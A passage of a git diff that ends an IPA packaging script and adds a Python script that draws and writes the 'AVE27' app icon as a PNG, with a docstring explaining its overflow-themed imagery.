+rm -f "$IPA" +( cd "$OUT" && zip -qry "$IPA" Payload ) +echo "IPA: $IPA" +ls -lh "$IPA" diff --git a/scripts/gen_icon.py b/scripts/gen_icon.py new file mode 100644 index 0000000..290d873 --- /dev/null +++ b/scripts/gen_icon.py @@ -0,0 +1,173 @@ +#!/usr/bin/env python3 +""" +gen_icon.py — the AVE27 app icon, drawn with a signed-distance renderer and +written as a raw PNG (no image library). + +The mark: a stack of five temporal layers — an SVC pyramid, widest at the base. +The top layer is displaced up and out past the stack's bounding edge: the layer +count that walks past what the driver sized. Deep slate field, steel layers, +the escaping layer in hot ember with the halo of the write landing somewhere +it was never allocated. +""" +import math +import os +import struct +import zlib + +OUT = os.path.join(os.path.dirname(os.path.abspath(__file__)), "..", "Resources", "Assets.xcassets", "AppIcon.appiconset") +os.makedirs(OUT, exist_ok=True) + +SIZE = 1024 + + +def srgb(c): + return max(0, min(255, int(round(c)))) + + +def mix(a, b, t): + return tuple(a[i] + (b[i] - a[i]) * t for i in range(3)) + + +def smoothstep(e0, e1, x): + t = max(0.0, min(1.0, (x - e0) / (e1 - e0))) + return t * t * (3 - 2 * t) + + +def sd_round_rect(px, py, cx, cy, hw, hh, r): + qx = abs(px - cx) - (hw - r) + qy = abs(py - cy) - (hh - r) + outside = math.hypot(max(qx, 0.0), max(qy, 0.0)) + inside = min(max(qx, qy), 0.0) + return outside + inside - r + + +# ---------------------------------------------------------------- palette +BG_TOP = (0.086, 0.094, 0.118) +BG_BOT = (0.024, 0.026, 0.038) +LAYER_COLD = (0.36, 0.44, 0.58) +LAYER_WARM = (0.52, 0.62, 0.78) +EMBER = (1.00, 0.44, 0.14) +EMBER_HOT = (1.00, 0.76, 0.38) + +# stack geometry: five layers, widths grow downward, top one escapes +STACK_CY = SIZE * 0.555 +LAYER_H = SIZE * 0.082 +LAYER_GAP = SIZE * 0.028 +BASE_HALF = SIZE * 0.30 +TOP_HALF = SIZE * 0.115 +LAYERS = 5 + +# the escape: top layer displaced up-right, past the stack's right edge +ESC_DX = SIZE * 0.145 +ESC_DY = -SIZE * 0.085 + + +def render(): + out = bytearray() + half = SIZE / 2 + radius = SIZE * 0.2237 + tau = math.tau + cos, sin, hypot = math.cos, math.sin, math.hypot + + # precompute layer rects: index 0 = base .. LAYERS-1 = top + step = LAYER_H + LAYER_GAP + total = LAYERS * LAYER_H + (LAYERS - 1) * LAYER_GAP + rects = [] + for i in range(LAYERS): + t = i / (LAYERS - 1) + hw = BASE_HALF + (TOP_HALF - BASE_HALF) * t + cy = STACK_CY + total / 2 - LAYER_H / 2 - i * step + cx = half + r = LAYER_H * 0.32 + rects.append((cx, cy, hw, LAYER_H / 2, r, t)) + + esc_rect = None + if LAYERS >= 1: + cx, cy, hw, hh, r, t = rects[-1] + esc_rect = (cx + ESC_DX, cy + ESC_DY, hw, hh, r, t) + + esc_cx, esc_cy = esc_rect[0], esc_rect[1] + halo_r = SIZE * 0.20 + + for y in range(SIZE): + out.append(0) + py = y + 0.5 + for x in range(SIZE): + px = x + 0.5 + + # background + g = py / SIZE + col = mix(BG_TOP, BG_BOT, g) + d = hypot(px - half, py - SIZE * 0.47) + lift = 1.0 - smoothstep(0.0, SIZE * 0.66, d) + col = tuple(min(1.0, col[i] + 0.05 * lift) for i in range(3)) + + # faint baseline under the stack + sd_base = abs(py - (STACK_CY + LAYER_H * 2.6)) - SIZE * 0.004 + if abs(px - half) < BASE_HALF * 1.25: + cov = 1.0 - smoothstep(-1.0, 1.0, sd_base) + col = mix(col, LAYER_COLD, cov * 0.22) + + # the stack: steel gradient, cold at base, warmer toward the top + for (cx, cy, hw, hh, r, t) in rects[:-1]: + sd = sd_round_rect(px, py, cx, cy, hw, hh, r) + if sd < 1.2: + cov = 1.0 - smoothstep(-1.2, 1.2, sd) + layer_col = mix(LAYER_COLD, LAYER_WARM, t) + col = mix(col, layer_col, cov * 0.9) + + # the escaping layer: ember, halo behind it + d_esc = hypot(px - esc_cx, py - esc_cy) + if d_esc < halo_r: + halo = 1.0 - smoothstep(0.0, halo_r, d_esc) + hk = 0.22 * halo * halo + col = tuple(min(1.0, col[i] + EMBER[i] * hk) for i in range(3)) + (cx, cy, hw, hh, r, t) = esc_rect + sd = sd_round_rect(px, py, cx, cy, hw, hh, r) + if sd < 1.2: + cov = 1.0 - smoothstep(-1.2, 1.2, sd) + # hot edge on the leading (upper-right) side + heat = smoothstep(0.0, 1.0, (px - cx + hw) / (2 * hw)) * 0.7 + col = mix(col, mix(EMBER, EMBER_HOT, heat), cov) + + # the trail: where the escaping layer used to sit — an ember outline + (cx, cy, hw, hh, r, t) = rects[-1] + sd_trail = abs(sd_round_rect(px, py, cx, cy, hw, hh, r)) - SIZE * 0.006 + if sd_trail < 1.2: + cov = (1.0 - smoothstep(-1.2, 1.2, sd_trail)) * 0.8 + col = mix(col, EMBER, cov) + + # rounded-rect alpha + sd_r = sd_round_rect(px, py, half, half, half - 0.5, half - 0.5, radius) + a = 1.0 - smoothstep(-0.75, 0.75, sd_r) + + out += bytes([srgb(min(1.0, col[0]) * 255), srgb(min(1.0, col[1]) * 255), + srgb(min(1.0, col[2]) * 255), srgb(a * 255)]) + return bytes(out) + + +def write_png(path, width, height, rgba): + def chunk(tag, data): + c = struct.pack(">I", len(data)) + tag + data + c += struct.pack(">I", zlib.crc32(tag + data) & 0xFFFFFFFF) + return c + + ihdr = struct.pack(">IIBBBBB", width, height, 8, 6, 0, 0, 0) + raw = zlib.compress(rgba, 9) + png = (b"\x89PNG\r\n\x1a\n" + + chunk(b"IHDR", ihdr) + + chunk(b"IDAT", raw) + + chunk(b"IEND", b"")) + with open(path, "wb") as f: + f.write(png) + + +def main(): + data = render() + icon = os.path.join(OUT, "AppIcon-1024.png") + write_png(icon, SIZE, SIZE, data) + print("wrote", icon, os.path.getsize(icon), "bytes") + + +if __name__ == "__main__": + main()